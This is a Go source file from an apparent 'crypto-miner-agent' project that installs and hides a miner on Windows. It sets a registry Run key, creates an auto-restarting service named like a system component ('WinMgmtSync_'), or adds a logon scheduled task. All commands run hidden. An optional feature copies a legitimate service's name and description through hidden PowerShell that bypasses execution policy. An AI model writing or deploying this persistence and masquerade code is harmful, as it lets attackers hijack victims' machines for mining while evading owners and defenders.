//go:build windows

package deploy

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"
	"time"

	"crypto-miner-agent/config"

	"golang.org/x/sys/windows/registry"
)

func CurrentExecutable() (string, error) {
	path, err := os.Executable()
	if err != nil {
		return filepath.Abs(os.Args[0])
	}
	return filepath.Abs(path)
}

func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
	k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
	if err != nil {
		return err
	}
	defer k.Close()
	val := fmt.Sprintf(`"%s" %s`, binPath, runFlag)
	return k.SetStringValue(PersistenceKeyName(cfg), val)
}

func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
	switch cfg.RunAs {
	case "service":
		return createWindowsService(cfg, installedBin)
	case "scheduled":
		return createScheduledTask(cfg, installedBin)
	default:
		return nil
	}
}

func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
	svcName := cfg.ServiceName
	if svcName == "" {
		svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
	}

	_ = HiddenRun("sc.exe", "stop", svcName)
	_ = HiddenRun("sc.exe", "delete", svcName)
	time.Sleep(time.Second)

	if err := HiddenRun("sc.exe", "create", svcName,
		"binPath=", `"`+binPath+`" --run`,
		"type=", "own",
		"start=", "auto",
		"error=", "ignore",
	); err != nil {
		return fmt.Errorf("sc create: %w", err)
	}

	_ = HiddenRun("sc.exe", "failure", svcName,
		"reset=", "60",
		"actions=", "restart/0/restart/5000/restart/30000",
	)

	_ = HiddenRun("sc.exe", "start", svcName)

	if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
		cloneServiceDescription(svcName, cfg.ServiceDonor)
	}

	return nil
}

func cloneServiceDescription(targetSvc, donorSvc string) {
	ps := fmt.Sprintf(`
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
if ($donorWmi) {
    sc.exe description '%s' ($donorWmi.Description)
    Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
}
`,
		strings.ReplaceAll(donorSvc, `'`, `''`),
		strings.ReplaceAll(targetSvc, `'`, `''`),
		strings.ReplaceAll(targetSvc, `'`, `''`),
	)
	_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}

func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
	taskName := PersistenceKeyName(cfg)
	if taskName == "" {
		taskName = "CryptoMinerAgent"
	}
	tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
	return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED")
}

func HostOSVersion() string {
	out, err := HiddenCombinedOutput("cmd", "/C", "ver")
	if err != nil {
		return "windows"
	}
	return strings.TrimSpace(string(out))
}

func killWorkerProcess(cfg config.RuntimeConfig) {
	_ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg))
}

func removePersistence(cfg config.RuntimeConfig) {
	keyName := PersistenceKeyName(cfg)
	runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
	if err == nil {
		_ = runKey.DeleteValue(keyName)
		runKey.Close()
	}
	_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
	svcName := cfg.ServiceName
	if svcName == "" {
		svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
	}
	_ = HiddenRun("sc.exe", "stop", svcName)
	_ = HiddenRun("sc.exe", "delete", svcName)
}

func selfUninstallSpawn(installDir string) {
	dir := installDir
	go func() {
		time.Sleep(2 * time.Second)
		_ = os.RemoveAll(dir)
	}()
}
